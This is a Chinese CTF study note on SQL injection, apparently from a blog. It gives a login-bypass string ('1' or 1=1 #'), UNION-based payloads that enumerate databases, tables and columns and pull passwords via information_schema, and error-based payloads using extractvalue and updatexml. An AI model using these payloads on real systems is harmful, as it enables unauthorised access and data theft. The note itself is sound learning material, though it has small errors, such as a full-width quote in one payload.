CTF SQL注入学习笔记

部分内容来自于SQL注入由简入精_哔哩哔哩_bilibili

简述版:

判断是数字型注入还是字符型注入:【字符型需要‘’闭合符,而数字型不用】

方法一:提交 and 1=1和提交 and 1=2 都能正常显示界面 ===>字符型注入

方法二:提交 id=1和提交id=2-1界面相同 ===>数字型注入(数字可以运算)

方法三:id=1后面随便跟一大堆字母,有回显就是字符型,没回显就是数字型

注释符号:--+ # // %23

具体步骤:

1.【知道是什么类型的】

2.【知道有几列】

3.【知道存放重要信息的那个数据库名字叫啥】

4.【知道那个重要的数据库里头需要找的表名字叫啥】

5.【知道每一列列名叫啥】

6.【把那个列名打印出来】

怎么判断是MySQL还是SQLite:

image-20250309100831815

所以可以通过版本查询

10.3.18-MariaDB:MySQL

一些误区

1.database():这是一个函数,需要结合 select 来使用,比如说select 1,2,database()

返回值:返回当前会话中正在使用的数据库名称。

2.show_databases:是一个SQL命令,直接执行,

返回值:一个结果集,列出MySQL服务器上所有的数据库名称(包括系统库)。

3.判断是否存在SQL注入:万能密码 1' or 1=1 # 或者 1' || 1=1 #
4.and,or,union:

and所有条件同时满足时返回结果

or任意一个条件满足时返回结果

union合并多个SELECT查询结果集,注意所有SELECT列数必须相同

数字型注入

1.判断有几列

1‘ order by 3 #

2.爆数据库名

1' union select 1,2,database() #

这里或者不用爆库名也行,因为后面可以table_schema=database()

3.爆表名

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' #

4.爆列名

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='数据表名' and table_schema='数据库名' #

5.查询列(我们已经在这个数据库里面了,所以只需要输入表名就行了)

1' union select 1,2,password from 数据表名

报错注入

1.利用extractvalue()报错(仅查询)

extractvalue(文档对象名称,路径)

如果把参数路径写错,则会报错,但是查询不到内容

所以需要把查询参数格式写错: 0x7e表示~,目的在于引起报错

注意这个只能显示32个字符,需要用substring一段一段读

查询库名:

1 and extractvalue(1,concat(0x7e,(select database()))) #

查询表名:

1 and extractvalue(1,concat(0x7e,(select substring(group_concat(table_name),1,15)from information_schema.tables where table_schema='sqli'))) --+

2.利用updatexml报错(查询并替换)

updatexml(文档对象名称,路径,新值)

查询表名:

用1=updatexml()

1 and 1=updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3) --+

或者直接select updatexml()

1 and (select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)) --+

SQL语句

1.mysqli_error():返回最近调用函数的最后一个错误描述

语法:mysqli_error(connection) 规定要使用的Mysql连接

返回一个带有错误描述的字符串。如果没有错误发生则返回 ""

2.mysqli_errno() :函数返回最近调用函数的最后一个错误代码。

语法:mysqli_errno(connection);

返回错误代码值。如果没有错误发生则返回 0。

3.mysqli_fetch_array():从结果集中取得一行作为数字数组或关联数组

语法:mysqli_fetch_array(result,resulttype);

返回与读取行匹配的字符串数组。如果结果集中没有更多的行则返回 NULL。

4.mysqli_connect():打开一个到 MySQL 服务器的新的连接

语法:mysqli_connect(host,username,password,dbname,port,socket);

返回值:回一个代表到 MySQL 服务器的连接的对象。

5.mysqli_query():执行对数据库的查询

语法:mysqli_query(connection,query,resultmode);

参数 描述
connection 必需。规定要使用的 MySQL 连接。
query 必需,规定查询字符串。
resultmode

可选。一个常量。可以是下列值中的任意一个:

  • MYSQLI_USE_RESULT(如果需要检索大量数据,请使用这个)
  • MYSQLI_STORE_RESULT(默认)

返回值:针对成功的 SELECT、SHOW、DESCRIBE 或 EXPLAIN 查询,将返回一个 mysqli_result 对象。针对其他成功的查询,将返回 TRUE。如果失败,则返回 FALSE。 

字段 含义
Table_catalog 数据表登记目录
Table_schema 数据表所属的数据库名
Table_name 表名称
Table_type 表类型[system view|base table]
Engine 使用的数据库引擎[MyISAM|CSV|InnoDB]
Version 版本,默认值10
Row_format 行格式[Compact|Dynamic|Fixed]
Table_rows 表里所存多少行数据
Avg_row_length 平均行长度
Data_length
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值